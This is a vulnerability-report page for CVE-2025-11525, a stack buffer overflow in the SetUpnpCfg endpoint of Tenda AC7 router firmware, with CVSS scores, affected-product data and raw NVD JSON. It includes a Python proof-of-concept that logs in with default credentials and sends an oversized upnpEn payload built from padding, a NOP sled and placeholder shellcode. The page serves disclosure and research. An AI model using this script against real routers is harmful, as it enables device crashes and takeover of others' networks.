Security Vulnerability Report
中文
CVE-2025-11525 CVSS 8.8 HIGH

CVE-2025-11525

Published: 2025-10-09 02:15:42
Last Modified: 2025-10-09 22:17:14

Description

A vulnerability has been found in Tenda AC7 15.03.06.44. Impacted is an unknown function of the file /goform/SetUpnpCfg. Such manipulation of the argument upnpEn leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:ac7_firmware:15.03.06.44:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac7:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC7 15.03.06.44

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-11525 - Tenda AC7 SetUpnpCfg Stack Buffer Overflow PoC # Author: Security Researcher # Description: Exploits stack-based buffer overflow in /goform/SetUpnpCfg endpoint # via the upnpEn parameter in Tenda AC7 router firmware 15.03.06.44 import requests import sys from urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def exploit(target_ip, target_port=80, username="admin", password="admin"): """ Exploit CVE-2025-11525: Stack-based buffer overflow in Tenda AC7 router via /goform/SetUpnpCfg endpoint with malicious upnpEn parameter. """ base_url = f"http://{target_ip}:{target_port}" login_url = f"{base_url}/login/Auth" exploit_url = f"{base_url}/goform/SetUpnpCfg" # Step 1: Authenticate with the router (low privilege required) session = requests.Session() login_data = { "username": username, "password": password } print(f"[*] Authenticating to {base_url}...") try: login_response = session.post(login_url, data=login_data, timeout=10, verify=False) print(f"[*] Login response status: {login_response.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Craft the malicious payload # The upnpEn parameter triggers stack-based buffer overflow # Padding to overflow the stack buffer padding = "A" * 256 # Adjust based on buffer size # Return address overwrite (example - would need to be adjusted based on firmware analysis) ret_address = b"\x41\x41\x41\x41" # NOP sled + shellcode placeholder nop_sled = b"\x90" * 64 shellcode_placeholder = b"\xCC" * 128 # INT3 breakpoint for debugging payload = padding.encode() + ret_address + nop_sled + shellcode_placeholder # Step 3: Send the exploit request exploit_data = { "upnpEn": payload.decode('latin-1') } print(f"[*] Sending exploit payload to {exploit_url}...") try: exploit_response = session.post(exploit_url, data=exploit_data, timeout=10, verify=False) print(f"[*] Exploit response status: {exploit_response.status_code}") print(f"[*] Response: {exploit_response.text[:200]}") except Exception as e: print(f"[*] Connection error (possible crash): {e}") print("[+] Target may have crashed - overflow triggered!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [username] [password]") print(f"Example: {sys.argv[0]} 192.168.0.1 80 admin admin") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 username = sys.argv[3] if len(sys.argv) > 3 else "admin" password = sys.argv[4] if len(sys.argv) > 4 else "admin" exploit(target_ip, target_port, username, password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11525", "sourceIdentifier": "[email protected]", "published": "2025-10-09T02:15:41.797", "lastModified": "2025-10-09T22:17:13.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in Tenda AC7 15.03.06.44. Impacted is an unknown function of the file /goform/SetUpnpCfg. Such manipulation of the argument upnpEn leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac7_firmware:15.03.06.44:*:*:*:*:*:*:*", "matchCriteriaId": "4D94B37C-491D-4E7C-8273-F46FEDA62C9F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac7:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "96503617-6B69-4862-ADFE-4EF379876F0F"}]}]}], "references": [{"url": "https://github.com/noahze01/IoT-vulnerable/blob/main/Tenda/AC7/SetUpnpCfg.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327663", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327663", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.669853", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.669860", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}]}}